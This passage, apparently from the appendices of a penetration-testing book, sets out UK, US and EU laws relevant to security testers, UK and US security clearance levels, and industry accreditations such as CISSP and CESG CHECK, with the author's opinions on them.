computer but intent was present\nand therefore you are guilty of an offence.\n•\nYou break the encryption of and access a wireless network that\nappeared to belong to the client but actually belonged to an employee\nof the client, a department outside the scope of the test or another\ncompany altogether – you’ve committed a crime.\n•\nYou received permission to perform a penetration test on a specific\nserver but the rules of engagement are too vague and you gain access\nvia a vulnerable web application. The web applications are not owned\nby the same body as the server. Guilty again.\n•\nYou receive written permission in good faith to perform a penetration\ntest from someone who thought they had authorization to give it but\ndid not. Take a guess who’s liable.\nAll of a sudden things aren’t quite as clear cut as they seemed. Unfortu-\nnately, the situation was made even worse in 2006 when, among others,\na new offence was added to the act: Making, supplying or obtaining\narticles for use in an offence under sections 1 or 3. To cut a long story\nshort, this outlaws the manufacture, sale or supply of ‘hacking tools’ if\nyou have a reasonable belief that they may be used to commit an offence.\n" }, { "page_number": 273, "text": "HUMAN RIGHTS ACT\n251\nThis includes virtually every piece of software a penetration tester might\nhave in their possession. Combine this new clause with the scenarios\ndetailed earlier and it’s no wonder there are a lot of worried security\nprofessionals in the UK right now. Some have commented that this clause\ncould be used to outlaw penetration testing outside of CESG approval\n(see Appendix E), although this has yet to happen.\nHuman Rights Act\nIn 1998, the UK incorporated the European Convention on Human Rights\ninto its own legislature and this came into effect mostly in 2000. The\nmajority of the Human Rights Act is not terribly interesting to us, but\nArticle 8 is profoundly relevant.\nArticle 8 of the Human Rights Act\nRight to respect for private and family life\n1. Everyone has the right to respect for his private and family life, his\nhome and his correspondence.\n2. There shall be no interference by a public authority with the\nexercise of this right except such as is in accordance with the law\nand is necessary in a democratic society in the interests of national\nsecurity, public safety or the economic well-being of the country,\nfor the prevention of disorder or crime, for the protection of health\nor morals, or for the protection of the rights and freedoms of others.\nAn example of how this can be a problem for a penetration tester is this: It\nmight be necessary as part of a penetration test to perform network-level\nsnooping or ‘sniffing’ (in order to gather passwords, for example). This can\nbe a fairly indiscriminate activity and it’s very easy to pick up on things\nthat you shouldn’t see. If you happen to intercept an email from a member\nof staff to her husband, for example, then you have clearly violated the\nfirst clause of Article 8 – the right to privacy in correspondence. The fact\nthat the security policy might dictate that company systems are not to be\nused for private correspondence is totally irrelevant.\nIn fact, the vast majority of snooping technologies deployed by companies\nto watch what employees do on the Internet are not deployed legally,\nthough there have not yet been any solid test cases in court. This law can\nbe taken to the extreme with government departments concerned about\nthe legality of monitoring hacking intrusions into their networks and, as\n" }, { "page_number": 274, "text": "252\nUK LAW\nfar as the letter of the law is concerned, they’re right to be concerned. If\nyou deploy Ethernet sniffing as part of an internal penetration test, ensure\nthat you use the tightest filtering rules possible to limit your liability under\nthe Human Rights Act and (it should go without saying) be careful what\nyou’re tempted to read when compromising communications systems of\nany kind.\nRegulation of Investigatory Powers Act\nDespite its title, the Regulation of Investigatory Powers Act (RIPA) doesn’t\nregulate a great deal. In fact, the primary purpose of RIPA was to give\nlaw enforcement and the security services greater powers of surveillance.\nThere are some disturbing aspects to RIPA. For example, the government\ncan demand you turn over passwords and encryption keys with an\nautomatic assumption of guilt if you don’t. If you do turn over the\nrelevant keys, you are forbidden from discussing it with anyone else.\nThere are provisions for automatic prison sentences of two and three\nyears respectively if you violate those two clauses.\nClearly, there are concerns here for a penetration testing team; you may\nbe required to turn over confidential client data on a whim and not be\nable to inform your client you’ve done so. However, that is really only of\nsecondary concern; the primary issue is in the excerpt.\nRIPA Excerpt\nAny interception of a communication which is carried out at any place\nin the United Kingdom by, or with the express or implied consent of, a\nperson having the right to control the operation or the use of a private\ntelecommunication system shall be actionable at the suit or instance\nof the sender or recipient, or intended recipient, of the communication\nif it is without lawful authority and is either –\n1. an interception of that communication in the course of its transmis-\nsion by means of that private system; or\n2. an interception of that communication in the course of its transmis-\nsion, by means of a public telecommunication system, to or from\napparatus comprised in that private telecommunication system.\nOnce you’ve got your tongue around that, ponder the vagueness and the\nimplications. If the Human Rights Act doesn’t get you, RIPA will as it\n" }, { "page_number": 275, "text": "DATA PROTECTION ACT\n253\noutlaws the interception of information ‘to or from apparatus comprised in\nthat private telecommunication system’ if it is ‘without lawful authority’.\nSection 5 of RIPA defines ‘lawful authority’ as follows:\n1.\nit is authorized by or under section 3 or 4;\n2.\nit takes place in accordance with a warrant under section 5 (’an\ninterception warrant’); or\n3.\nit is in exercise, in relation to any stored communication, of any\nstatutory power that is exercised (apart from this section) for the\npurpose of obtaining information or of taking possession of any\ndocument or other property;\nNote: you do not have lawful authority.\nThe bottom line is to be very careful what you intercept on somebody\nelse’s network, be it wired, wireless or Bluetooth. Furthermore, if you\ndefeat a cryptographic mechanism in order to intercept communications\n(which is plausible in the case of SSL), there may be further penalties.\nBecause you don’t really know what you’re decrypting until you’ve done\nit, this can be an issue.\nEnsure that you get written permission, in the rules of engagement, to\nperform traffic interception to cover yourself as much as possible under\nRIPA.\nData Protection Act\nThe Data Protection Act (DPA) is the main piece of legislation that\ngoverns the protection of personal data in the UK. It doesn’t cover privacy\nof information per se; its purpose is to ensure that the information stored\non individuals is correct. It provides a framework whereby people can\nverify the information. Between 1984 and 1998, the Act only covered data\nstored on a computer. Now offline records are also included in its scope.\nThere are eight guiding principles in the Act. The one that concerns\npenetration testers is the second.\nSecond Guiding Principle of the DPA\nPersonal data shall be obtained only for one or more specified and\nlawful purposes, and shall not be further processed in any manner\nincompatible with that purpose or those purposes.\n" }, { "page_number": 276, "text": "254\nUK LAW\nThis affects penetration tests in that live data registered under the Data\nProtection Act shouldn’t be used. As personal details of staff and client\ninformation is not registered for the purpose of security testing (nor should\nit be), performing tests on systems that contain client data (for example) is\nnot permitted under the DPA. However, this is one of the rare instances\nwhere the tester is not legally liable for infractions of the law: Your client\nwould be liable for the misuse of the data.\n" }, { "page_number": 277, "text": "Appendix B\nUS Law\nThe law as it applies to specifically to penetration testing in the US is not\nas onerous as in the UK. However, there are a few things you should be\naware of. We cover the following legislation:\n•\nThe Computer Fraud and Abuse Act.\n•\nThe Electronic Communications Privacy Act.\n•\nLaws relating to the regulation of business practices.\nComputer Fraud and Abuse Act\nThe Computer Fraud and Abuse Act (CFAA) was passed by the US\nCongress in 1986. The CFAA applies to cases of computer-related crimes\nthat are relevant to federal as opposed to state law. It doesn’t just target\nhackers, but also any interstate criminal activity that involves computers,\nsuch as money laundering or illegal gambling (though this is generally\nprosecuted under other statutes). The CFAA differs from the UK Computer\nMisuse Act in one important way: like many US laws it contains the\nconcept of conspiracy.\nConsider the following example: I decide I want to hack a telephone\ncompany in New York and I live in Washington DC. I call you (my\npartner in crime) on the phone and we discuss it, but unfortunately the\nFBI is monitoring the call. Any action that either of us now takes (even\nif we break no laws) to further the goal of compromising the telephone\ncompany is going to put both of us in a federal prison for conspiracy. The\nCFAA contains the following offences:\n•\nKnowingly accessing a computer without authorization in order to\nobtain national security data;\n" }, { "page_number": 278, "text": "256\nUS LAW\n•\nAccessing a computer without authorization;\n•\nKnowingly accessing a protected computer with the intent to defraud\nand thereby obtaining anything of value;\n•\nKnowingly causing the transmission of a program, information, code,\nor command that causes damage or intentionally accessing a computer\nwithout authorization and, as a result of such conduct, causing\ndamage;\n•\nKnowingly and with the intent to defraud, trafficking in a password\nor similar information through which a computer may be accessed\nwithout authorization.\nThe CFAA has been amended several times to bring it up to date; most\nnotably in 2001, with the PATRIOT Act which made the following\namendments:\n•\nRaised the maximum penalty for violations to 10 years for a first\noffense and 20 years for a second;\n•\nAbolished the $5000 minimum damage clause;\n•\nPermitted judges to take previous state as well as federal offences into\nconsideration;\n•\nExpanded the definition of loss to expressly include time spent inves-\ntigating the crime.\nElectronic Communications Privacy Act\nThe Electronic Communications Privacy Act (ECPA) regulates the privacy\nof data and communications in transit by any means of transfer (wire,\nradio, electromagnetic, photo optical, etc.) which it defines as:\n•\nSigns;\n•\nSignals;\n•\nWriting;\n•\nImages;\n•\nSounds;\n•\nData.\nThe Act is limited in scope in that it does not cover the following:\n•\nOral communications (i.e. voice);\n•\nCommunications made through a tone-only paging device;\n" }, { "page_number": 279, "text": "SOX AND HIPAA\n257\n•\nAny communication from a court sanctioned ‘tracking device’ (defined\nas ‘an electronic or mechanical device which permits the tracking of\nthe movement of a person or object’);\n•\nElectronic funds transfers.\nTitle II of the ECPA (referred to as the Stored Communications Act)\nprotects communications held in electronic storage, for example, email\nmessages held on a server.\nI mention the ECPA because it’s important for a penetration testing team\nto be legally covered under the auspices of the act. The ECPA is intended\nto protect against:\n•\nGovernment surveillance conducted without a court order.\n•\nThird parties without legitimate authorization accessing messages.\n•\nIllegal interception from carriers (i.e. Internet service providers).\nHowever, it is not intended to protect employees from monitoring by\ntheir employers. Here we have the issue. As a third-party consultancy\nengaged to test security (in whatever form) by a client, do you constitute\nan ‘unauthorized third party’ from the perspective of an employee or\nare you an extension of their employer? This is an important question\nbecause in theory you could be sued by an employee for intercepting\ntheir (private) data. The solution to this is contractual: Ensure that your\nclient indemnifies you against any legal action that may occur as a result\nof any interception or analysis of data you perform.\nSOX and HIPAA\nAside from the laws directly concerned with privacy, fraud and computer\nabuse you may have to consider the more recent legal complexities\nintroduced by two sets of legislation: Sarbanes–Oxley (SOX) and the\nHealth Insurance Portability and Accountability Act (HIPAA). These acts\nfall more into the category of things you should be aware of as testers\nrather than laws that will have much direct bearing on how you conduct\ntesting itself, other than the fact that the scope of a test may be to\ndetermine an organization’s compliance to these standards.\nSOX was introduced in 2002 following accounting scandals at Enron,\nWorldCom and elsewhere. It is federal legislation that is officially known\nas the Public Company Accounting Reform and Investor Protection Act\nof 2002; it is commonly known as Sarbanes–Oxley after its sponsors, the\nUS Senators Paul Sarbanes (Democrat, Maryland) and Michael G. Oxley\n" }, { "page_number": 280, "text": "258\nUS LAW\n(Republican, Ohio). Broadly, the purpose of SOX is to enhance account-\ning standards for all US public companies and accounting firms (it has no\nbearing on privately held firms of any kind). Despite criticisms from vari-\nous quarters that SOX was intrusive and unnecessary, it has been largely\nsuccessful and other countries have developed equivalent legislation such\nas J-SOX in Japan and Bill 198 in Canada.\nThe aspects of SOX most applicable to security consultants are Section\n302 (Internal Controls) and Section 404 (Assessment of Internal Control).\nSection 404 requires annual evaluation and documentation of the internal\ncontrols and procedures in place to secure the integrity of financial infor-\nmation. Evaluation includes security audits such as penetration testing,\ngeneral vulnerability analysis, application auditing and even source code\nsecurity review – and this is where you come in. The important thing to\nremember when performing SOX-related testing is that there should be\nno difference in your approach. Anyone offering a SOX-specific testing\napproach is likely to be out to scam you. In other words, you’re testing to\nsupport SOX because it’s mandatory not because SOX requires a different\nway of doing things. If there is a difference, it lies only in the way that\nyou present information. There are plenty of resources on the Internet that\ngive you detailed information about SOX and its implications. I suggest\nyou start here: www.sox-online.com.\nSOX came about due to concerns of corruption and collusion and it is\nunlikely that their ultimate fates would have been any different had these\ncompanies been more secure, although sufficient financial IT controls\nwould probably have led to the fraud being discovered sooner.\nThe Health Insurance Portability and Accountability Act (or HIPAA as\nit’s usually known) is divided into two Titles: The first protects health\ninsurance coverage if you change or lose your job; the second contains\nvarious implementation standards and has clauses that relate directly to\nsecurity and privacy. These are called (not surprisingly) the Privacy Rule\nand the Security Rule.\nThe HIPAA Privacy Rule covers the use and disclosure of privileged\ninformation as well as ensuring that information is accurate and available\nto the individual. It’s boilerplate stuff as far as privacy regulations go,\nensuring that information is accessible only to people with a need to\nknow and that only the minimum information necessary is released.\nThe Security Rule is more interesting and lays out the three forms of\nsecurity safeguards that should be in place in order to comply with the\nstandard: physical, technical and administrative.\nPhysical safeguards include:\n•\nAccess to equipment containing health information should be con-\ntrolled and monitored.\n" }, { "page_number": 281, "text": "SOX AND HIPAA\n259\n•\nAccess controls must include facility security plans, maintenance\nrecords, and visitor sign-in and escorts.\n•\nAccess to hardware and software must be limited to properly autho-\nrized individuals.\n•\nThird parties (such as contractors) must be fully trained on their\nphysical access responsibilities.\n•\nWorkstations should not be present in high-traffic areas and monitor\nscreens should not be visible to the public.\nTechnical safeguards include:\n•\nInformation systems (carrying HIPAA-regulated data) must be pro-\ntected from intrusion.\n•\nThis data should be protected with encryption if it flows over open\nnetworks.\n•\nData integrity and non-repudiation technologies should be used to\nensure or determine if data has been modified.\n•\nRisk-management and risk-analysis programs should be in place.\nThese include information assurance exercises such as penetration\ntesting.\n•\nStrong (such as two-factor) authentication should be used.\nAdministrative safeguards include:\n•\nEach entity handling HIPAA-regulated data should designate a privacy\nofficer to be responsible for developing and implementing policy (this\nis usually the Information Security Officer or the CIO).\n•\nTraining plans should be in place for staff handling HIPAA-regulated\ndata.\n•\nProcedures should document instructions for addressing and respond-\ning to security breaches that are identified either during the audit or\nthe normal course of operations.\n•\nEach covered entity is responsible for ensuring that the data within its\nsystems has not been changed or erased in an unauthorized manner.\nAll of this is, of course, deliberately vague to support implementation of\nmany disparate systems and technologies.\n" }, { "page_number": 282, "text": "" }, { "page_number": 283, "text": "Appendix C\nEU Law\nThere isn’t a considerable amount of relevant law that is enforced by\nEU courts. However, the European Union does issue directives that are\naddressed to member states whose responsibility it is to transpose them\ninto local national legislation. Member states are given deadlines by\nwhich such directives should be implemented and, on the whole, it’s a\nsystem that works well, providing comparable laws across the European\nUnion with similar provisions, penalties and burdens of proof.\nEuropean Network and Information Security Agency\nThe mission of the European Network and Information Security Agency\n(ENISA) is to act as a hub, or clearing house, for information relevant\nto the information security of the European Union. It came into being\nfollowing the adoption of Regulation (EC) No 460/2004 of the European\nParliament and of the Council on 10 March 2004. Their website (at\nwww.enisa.europa.eu.) states:\nAs the Agency’s in-house expertise grows, ENISA is helping the European\nCommission, the Member States and the business community to address,\nrespond and especially to prevent Network and Information Security\nproblems.\nExcept they’re not. Despite existing for over four years, ENISA have yet\nactually to do anything other than set up a website. Virtually no one in\nthe information security community (let alone anyone else) has heard of\nthem. This may puzzle US readers but, I assure you, it is perfectly normal\n" }, { "page_number": 284, "text": "262\nEU LAW\nin Europe. That being said ENISA was founded on the basis of a number\nof assumptions, the following being the most important:\n•\nCommunication networks and information systems have become an\nessential factor in economic and societal development. Computing\nand networking are now becoming ubiquitous utilities in the same\nway as electricity or water supply already are. The security of com-\nmunication networks and information systems, in particular their\navailability, is therefore of increasing concern to society not the least\nbecause of the possibility of problems in key information systems, due\nto system complexity, accidents, mistakes and attacks, that may have\nconsequences for the physical infrastructures which deliver services\ncritical to the well-being of EU citizens.\n•\nThe growing number of [security] breaches has already generated\nsubstantial financial damage, has undermined user confidence and\nhas been detrimental to the development of e-commerce. Individuals,\npublic administrations and businesses have reacted by deploying\nsecurity technologies and security management procedures. Member\nStates have taken several supporting measures, such as information\ncampaigns and research projects, to enhance network and information\nsecurity throughout society.\n•\nThe technical complexity of networks and information systems, the\nvariety of products and services that are interconnected, and the huge\nnumber of private and public actors that bear their own responsibility\nrisk undermining the smooth functioning of the Internal Market.\n•\nEnsuring confidence in networks and information systems requires\nthat individuals, businesses and public administrations are sufficiently\ninformed, educated and trained in the field of network and informa-\ntion security. Public authorities have a role in increasing awareness\nby informing the general public, small and medium-sized enterprises,\ncorporate companies, public administrations, schools and universi-\nties. These measures need to be further developed. An increased\ninformation exchange between Member States will facilitate such\nawareness raising actions. The Agency should provide advice on best\npractices in awareness-raising, training and courses.\n•\nEfficient security policies should be based on well-developed risk\nassessment methods, both in the public and private sectors. Risk\nassessment methods and procedures are used at different levels with\nno common practice on their efficient application. The promotion and\ndevelopment of best practices for risk assessment and for interoperable\nrisk management solutions within public and private sector organi-\nzations will increase the security level of networks and information\nsystems in Europe.\n•\nThe establishment of a European agency, the European Network and\nInformation Security Agency, operating as a point of reference and\n" }, { "page_number": 285, "text": "DATA PROTECTION DIRECTIVE\n263\nestablishing confidence by virtue of its independence, the quality\nof the advice it delivers and the information it disseminates, the\ntransparency of its procedures and methods of operation, and its\ndiligence in performing the tasks assigned to it, would respond to\nthese needs. The Agency should build on national and Community\nefforts and therefore perform its tasks in full cooperation with the\nMember States and be open to contacts with industry and other\nrelevant stakeholders. As electronic networks, to a large extent, are\nprivately owned, the Agency should build on the input from and\ncooperation with the private sector.\n•\nTo understand better the challenges in the network and information\nsecurity field, there is a need for the Agency to analyze current\nand emerging risks and for that purpose the Agency may collect\nappropriate information, in particular through questionnaires, without\nimposing new obligations on the private sector or the Member States to\ngenerate data. Emerging risks should be understood as issues already\nvisible as possible future risks to network and information security.\nENISA have yet to really make their presence felt within the private or\npublic sectors; however this may change. At present they’re concentrating\ntoo much on being a talking shop and practical information security has\nlong moved on from that stage. In particular, collecting information\n‘through questionnaires’ seems especially na¨ıve.\nData Protection Directive\nAs previously stated, there is very little legislation that penetration testers\nneed to consider at the EU level as this is handled in its entirely by\nthe relevant member state though local laws or through transposed laws\nbrought about through an EU Directive. However, one area that should\nbe discussed is the Data Protection Directive.\nThis directive, (officially Directive 95/46/EC) originally conceived in\n1995, has now been transposed into local law by every member state.\nIn some cases, the creation of new legislation was not necessary. For\nexample, in the UK the Data Protection Act already contains many of the\nnecessary provisions, as does the Personal Data Act in Finland.\nNaturally, there are a number of provisions that don’t directly concern\nsecurity consultants however the following are of interest:\n•\nNotice – Data subjects should be given notice when their data is\nbeing collected.\n•\nPurpose – Data should only be used for the purpose stated and not\nfor any other purpose.\n" }, { "page_number": 286, "text": "264\nEU LAW\n•\nConsent – Data should not be disclosed without the data subject’s\nconsent.\n•\nSecurity – Collected data should be kept secure from any potential\nabuses.\n•\nDisclosure – Data subjects should be informed as to who is collecting\ntheir data.\n•\nAccess – Data subjects should be allowed to access their data and\nmake corrections to any inaccurate data.\n•\nAccountability – Data subjects should have a method available to\nthem to hold data collectors accountable for following the above\nprinciples.\nBy now, particularly if you’ve read the other legal appendices, this should\nall start looking very familiar as there’s a lot of conceptual crossover.\nAs a penetration tester you need to be most concerned with purpose and\nsecurity (though clearly there is cross over with the other provisions as\nwell):\n•\nPurpose – If a penetration test involves gathering user data in order to\nprove vulnerability, you can guarantee that this is not the purpose for\nwhich that data was registered. This is similar to problems software\ntesters face when using live data to determine whether their programs\nwork in the real world; they aren’t supposed to do it.\n•\nSecurity – Any data gathered in a penetration is supposed to be secure.\nThe fact that it’s not is usually (depending on how a penetration test\nis carried out) a de facto breach of data protection legislation.\nAlthough it can be interesting to examine EU legislation, it’s far more\nimportant to be versed in the laws of the state in which you are operating.\nThat said, the European Union passes new directives all the time and as\nthese are generally (albeit slowly) transposed into local legislation, it’s\nnot a bad idea to be ahead of the curve. You can read up on EU laws at\nhttp://eur-lex.europa.eu (half the fun lies in finding your own language).\n" }, { "page_number": 287, "text": "Appendix D\nSecurity Clearances\nThe purpose of a security clearance is to ensure that an individual is\nsuitable and can be trusted to access classified or protectively marked\nmaterials. Although the term ‘security clearance’ is often used in the\ncommercial world outside the sphere of government-related work, it only\nrefers to background checks that any employer might choose to execute.\nThe term is used here to describe government-sponsored clearances\nthat are issued to staff with a need to access classified material to do\ntheir job. Although the procedures vary between states and international\norganizations (such as NATO), the underlying principles are the same:\n•\nRegardless of the level of clearance, protectively marked material\nshould only be available to personnel with a ‘need to know’. This\nprinciple is extremely important. Just having a developed vetting\n(DV) clearance in the UK does not automatically grant you access to\nanything marked TOP SECRET, only to that which you are deemed by\nthe appropriate security controller to need to see.\n•\nThe level of clearance issued should be appropriate to a person’s\nposition and need. This rule is both for practical and economic\nreasons; there is no point in clearing your entire department to\nsecurity check (SC) level if the most sensitive document to ever cross\ntheir desks is only marked RESTRICTED. As security clearances are\nexpensive to conduct, this would bring unnecessary expense to the\nsponsoring department or company.\n•\nSecurity clearances should be reviewed regularly. The frequency\nusually increases the higher one is cleared. No clearance procedure\nis perfect. In fact, most are fundamentally flawed (for reasons that will\nbecome apparent). Regularly reviewing an individual’s suitability to\nhold a security clearance mitigates these flaws as much as possible.\n" }, { "page_number": 288, "text": "266\nSECURITY CLEARANCES\nClearance Procedures in the United Kingdom\nSecurity clearances in the United Kingdom are issued for a range of\nreasons and by several authorities. You will need to be vetted if you work\nas a full-time member of staff for a central government department or as\na consultant or contractor for:\n•\nThe armed forces or Ministry of Defence.\n•\nLaw enforcement (either with the police or a civilian agency such as\nthe Forensic Science Service).\n•\nGovernment departments. Central government usually requires you to\nbe cleared to SC level, in line with advice from the security services.\nLocal departments (outside London) have much more autonomy and\nunless you are working on a project perceived to be particularly\nsensitive are unlikely to require anything above a counter-Terrorism\ncheck and even that is unlikely as these have to be paid for out of\ndepartmental budgets.\nObtaining a security clearance is generally not difficult when it is some-\nthing that is required for a particular project and this ease tends to increase\nwith your value to the project. It is important to note that the final deci-\nsion to grant clearances lies with your security controller. Although the\nsecurity services (MI5) and the Defence Vetting Agency (DVA) conduct\ninvestigations, they only provide guidance to the sponsoring authority.\nIt’s not their job to grant or deny any given clearance. However, their\nadvice is usually followed.\nYou cannot, as an individual, apply for a clearance yourself. It has to be\nsponsored by government department or organization or by a commercial\nentity (usually a consultancy) permitted to do so (referred to as a List-X\ncompany). This is for both legal and operational reasons.\nLevels of Clearance in the United Kingdom\nThere are different levels of clearance that individuals are subject to\ndepending on the nature, sensitivity, and duration of access to informa-\ntion, assets and personnel.\nBasic Check\nThese are not formal security clearances. A basic check (BC) provides\nonly a basic level of assurance about the trustworthiness and integrity\n" }, { "page_number": 289, "text": "LEVELS OF CLEARANCE IN THE UNITED KINGDOM\n267\nof individuals whose work may involve access to CONFIDENTIAL assets\nor information. For individuals who will definitely be working with\nprotectively marked data, a higher clearance is usually sought. The check\nis carried out by reviewing official identity documents and sometimes\nreferences. The goal of a BC is to verify the following:\n•\nIdentity\n•\nSignature\n•\nAddress\n•\nEmployment history\n•\nEducation.\nCounter-Terrorism Check\nA counter-terrorism check (CTC) is required for personnel whose work\ninvolves regular close proximity to public or sensitive figures, gives\naccess to information or material vulnerable to terrorist attack or involves\nunrestricted access to certain government or commercial establishments.\nA CTC does not in itself permit access to protectively marked assets and\ninformation. The CTC always includes a basic check and a check against\nnational security records. To gain CTC clearance, you have to have been\nresident in the United Kingdom for a minimum of three years, although\nyou are not required to be a British citizen.\nSecurity Check\nA security check (SC) is for personnel who will have regular and uncon-\ntrolled access to SECRET, or occasional controlled access to TOP SECRET,\nassets and information. This level of clearance involves a basic check, UK\ncriminal and security checks, and a credit check. To gain SC clearance,\nyou normally have to have been resident in the United Kingdom for a\nminimum of five years. Usually this clearance is issued only to British\ncitizens or citizens of a closely allied state such as the United States or\nAustralia. The reason for the credit check is not to see if you owe money.\nEverybody owes money. It’s to ensure that you are managing your debt\nand therefore are not vulnerable to financial inducements.\nSC clearance must be renewed every time you change employment or\nevery 10 years.\nDeveloped Vetting\nDeveloped vetting (DV) is the highest (official) level of security clearance\nand is required for people with regular uncontrolled access to TOP\n" }, { "page_number": 290, "text": "268\nSECURITY CLEARANCES\nSECRET assets, or for working in the intelligence or security communities.\nThis level of clearance involves all the investigation required for an SC\nlevel clearance and the following checks:\n•\nCompletion of a DV questionnaire;\n•\nA detailed financial check;\n•\nChecking of references;\n•\nA detailed interview with a vetting officer.\nDuring your security interview, you may be asked very personal questions\nabout your private life. Members of your family and partners may also be\ninterviewed and your answers cross-referenced. Being honest is the best\npolicy, no matter how embarrassing the answers may be. The security\nservices don’t really care what you do in your spare time (within obvious\nlimits) as long as you’re open about it. For example, they don’t care if\nyou’re gay, as long as you’re out. If you’re not, you may be subject to\nblackmail.\nTo gain DV clearance, you normally have to have been resident in the\nUnited Kingdom for a minimum of 10 years. It is extremely rare for DV\nclearance to be issued to non-British citizens. DV clearance is issued\nonly on a project-by-project basis, even within the same government\ndepartment.\nLevels of Clearance in the United States\nSecurity clearances in the United States are issued along broadly similar\nlines to clearances in the United Kingdom and the terms used (SECRET,\nCONFIDENTIAL, etc.) are completely compatible between the two sys-\ntems. This is largely due to the fact that the United Kingdom has been\nconsciously copying the United States in security-related matters since\nWorld War II.\nThere are, however, some important differences. Put simply, a security\nclearance in the United States is granted according to the level of access\nit provides, for example a ‘Secret clearance’ grants access to SECRET\ndocuments (though naming conventions vary). The exception to this is\nlevels above ‘compartmentalized access’, when an individual is given\naccess to a particular type of data. Another important difference is that\nfor certain types of clearance you may be required to take a polygraph\n(lie detector) test.\nSecurity clearances are arguably taken a lot more seriously in the United\nStates and consequently take a lot longer to approve. For example, in the\n" }, { "page_number": 291, "text": "LEVELS OF CLEARANCE IN THE UNITED STATES\n269\nUnited Kingdom, an SC clearance takes about three months depending\non the backlog whereas a US Secret clearance can take as long as a year.\nConfidential or Level 1 Clearance\nThis is broadly similar to the UK BC level of clearance and typically\nrequires a few weeks to a few months of investigation. A confidential\nclearance requires a National Agency Check with Local Agency and\nCredit Check (NACLC) investigation which will look at the past seven\nyears of your life. Typically, this has to be renewed every 10 to 15 years.\nSecret or Level 2 Clearance\nA secret clearance (also known as ‘collateral secret’ or ‘ordinary secret’)\nis broadly similar to the UK SC clearance. There are a number of things\nthat can complicate obtaining secret clearance:\n•\nResidences in foreign countries\n•\nRelatives outside the United States\n•\nSignificant ties with non-US citizens\n•\nBankruptcy and unpaid bills\n•\nCriminal charges of any kind.\nPoor financial history is the number-one cause of rejection and foreign\nactivities and criminal records are also common causes for disqualifi-\ncation. A secret clearance requires an NACLC check. It must also be\nreinvestigated every 10 years (though, in practice, it tends to happen\nmore often).\nTop Secret or Level 3 Clearance\nAs you would expect, ‘Top Secret’ is the most stringent clearance.\nA top secret (TS) clearance is usually only given following a single-\nscope background investigation (SSBI). This will include independent\ninvestigation into the following:\n•\nCitizenship;\n•\nEducation;\n•\nEmployment;\n•\nReferences;\n•\nNeighborhood and friends;\n•\nCredit;\n" }, { "page_number": 292, "text": "270\nSECURITY CLEARANCES\n•\nLocal agency checks;\n•\nPublic records.\nYou will also be expected to pass a ‘lifestyle’ polygraph test and I some-\ntimes wonder what would happen to the British intelligence apparatus if\nthis was made a requirement in the United Kingdom.\nTop secret clearances, in general, afford one access to data that directly\naffects national security or other highly sensitive data. There are far fewer\nindividuals with TS clearances than secret clearances. A TS clearance can\ntake as few as 3–6 months to obtain, but more often it takes between six\nand 18 months and sometimes even up to three years. The SSBI must be\nrenewed every five years.\n" }, { "page_number": 293, "text": "Appendix E\nSecurity Accreditations\nIt is the mark of an educated mind to be able to entertain a thought without\naccepting it.\nAristotle, 384–322 BC\nAt some point in your career as a security consultant, regardless of your\nfield of specialization, you are going to consider acquiring some form\nof industry accreditation. Some people collect accreditations left, right\nand center and some never bother getting one and do fine. My personal\nopinion is that demonstrable experience is far better on your r´esum´e.\nHowever, you may be looking for something to get you in the door or\nperhaps you just like letters after your name. Either way, I’m going to run\nover some of the options you have on both sides of the Atlantic and let\nyou make up your own mind.\nCertified Information Systems Security Professional\nThe certified information systems security professional (CISSP) is probably\nthe most famous security industry accreditation and arguably the most\ncontroversial. CISSP is run by the International Information Systems\nSecurity Certification Consortium – commonly known as (ISC)2 – and\nhas a curriculum that could politely be described as thorough. (The\nrunning joke in the industry being is that CISSPs know virtually nothing\nabout everything.)\nThis curriculum is spread over 10 ‘areas of interest’ or ‘domains’:\n•\nAccess control;\n•\nApplication security;\n" }, { "page_number": 294, "text": "272\nSECURITY ACCREDITATIONS\n•\nBusiness continuity and disaster recovery planning;\n•\nCryptography;\n•\nInformation security and risk management;\n•\nLegal, regulations, compliance and investigations;\n•\nOperations security;\n•\nPhysical (environmental) security;\n•\nSecurity architecture and design;\n•\nTelecommunications and network security.\nCISSP was the first accreditation to earn ANSI ISO/IEC Standard\n17024:2003 certification and it is popular with the US Department of\nDefense and National Security Agency. It’s definitely more popular in\nthe United States than it is in Europe. A lot of its questions are US centric\nbut this is changing and, as of 10 October 2008, (ISC)2 has reported\ncertifying 61,763 information security professionals in 133 countries.\nAlthough there is no doubt that having CISSP after your name does raise\nyour employability (and if this is your intention, then go for it) but bear in\nmind that the questions in CISSP are very vague; my favorite example is\nthe following:\nYou have a ten-meter high wall. Is this:\na) Very high security\nb) High security\nc) Medium security\nd) Low security\nThe problem with questions like this is that you could be an absolute\nexpert on perimeter security and get the question wrong because you\ndon’t know what level of security (ISC)2 considers a ten-meter high wall\nto be.\nThe biggest problem is that you can know absolutely nothing about\nsecurity, buy a CISSP book and pass the exam two weeks later. From\nthis perspective, CISSP is about as useful as a chocolate teapot and I\nwould highly recommend against hiring someone solely on the basis of\nthis accreditation.\nCommunication–Electronics Security Group CHECK\nCHECK is a British accreditation run by GCHQ’s Communication–\nElectronics Security Group (CESG), the information assurance department\nof the government. Its focus is solely on computer and network penetration\n" }, { "page_number": 295, "text": "COMMUNICATION–ELECTRONICS SECURITY GROUP CHECK\n273\ntesting. I mention it here as you are likely to hear a lot about it if you\nwork for the public sector in the United Kingdom.\nIn theory, central government departments are required to use CHECK\nproviders for penetration testing work but as CESG has no executive\npower to demand this, they use who they like. On the other hand, most\npenetration testing outfits in the United Kingdom now have CHECK status\nas the hardest part of getting it is paying the fee (which increases out of\nall reason every year).\nTo become a CHECK consultant (or CHECK team leader) you have to:\n•\nBe employed by a CHECK Provider – There’s a list on the CESG\nwebsite: http://www.cesg.gov.uk/find a/check/index.cfm.\n•\nHold SC level clearance – If you don’t have SC clearance, GCHQ will\nsponsor you.\n•\nPass the CHECK Assault Course – The Assault Course is a practical\nhacking test. Despite CESG’s claims that only elite penetration testers\npass (a consistent claim of 50% make the grade), their own curriculum\ndetails the very limited testing experience you need to possess:\nhttp://www.cesg.gov.uk/products services/iacs/check/media/assault\ncourse notes.pdf.\nTo continue to hold the accreditation, you must take the Assault Course\nevery three years but don’t expect it to change much. I first passed\nthe Assault Course in 2001 when CHECK had a lot more mystique to\nit. These days, virtually every consultant doing security work has some\nCHECK capability either in-house or subcontracted. I still think it has\nmerit though it has not been without its critics over the years. The most\ncommon complaints, rumors or accusations are as follows:\n•\nCESG have allegedly put pressure on consultancies to disclose to them\nvulnerabilities found in government systems. This is alleged to be the\ninitial intention in setting up the scheme.\n•\nCHECK has been marketed as a gold standard (both by CESG and\nCHECK providers) when, in 